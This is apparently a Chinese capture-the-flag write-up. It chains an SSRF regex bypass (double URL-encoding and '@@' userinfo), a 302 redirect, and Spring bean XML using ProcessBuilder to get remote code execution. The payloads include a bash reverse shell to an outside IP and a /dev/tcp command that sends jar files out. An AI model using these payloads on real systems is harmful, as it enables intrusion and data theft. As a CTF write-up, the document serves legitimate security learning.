首页图片的加载方式
http://121.36.145.157:8088/getimage?url=https://bbs.pediy.com/upload/attach/202009/236762_Y76C73KQC7MG83G.jpg
F12看到测试加载配置文件 /loadConfig?url=x.xml
估计SSRF打这个接口
然后发现要过他的正则
illegal url! ^(http|https):\\/\\/[^?#\\/]*\\.pediy\\.com\\/.*
这里有两种办法。一种是两次URL编码绕过。还有就是用@@绕过。对应URI的用户名密码
http://127.0.0.1%253a8088%253f.pediy.com/loadConfig?url=x.xml
http://@@119.45.155.77:1337@m.pediy.com/
不过这里只能访问VPS的80端口。他不会解析为1337端口
在80端口上配合302跳转
<?php
header("Location: http://127.0.0.1:8088/loadConfig?url=http://119.45.155.77/2.xml");
SSRF成功后。发现一堆XML报错。猜测能解析XML。然后XXE ftp只能带出一行数据。。
在报错中找到FileSystemXmlApplicationContext
又找到了这个反序列化https://www.cnblogs.com/afanti/p/10815728.html
vps上放2.xml
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[echo "/bin/bash -i >& /dev/tcp/119.45.155.77/1337 0>&1" > /tmp/guoke.sh]]></value>
</list>
</constructor-arg>
</bean>
</beans>
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[/bin/bash /tmp/guoke.sh]]></value>
</list>
</constructor-arg>
</bean>
</beans>
第一次先写入sh。第二次触发弹shell。
然后home下载jar
cat *.jar > /dev/tcp/vps/8888
nc -lvp 8888 > 1.jar
反编译拿到shell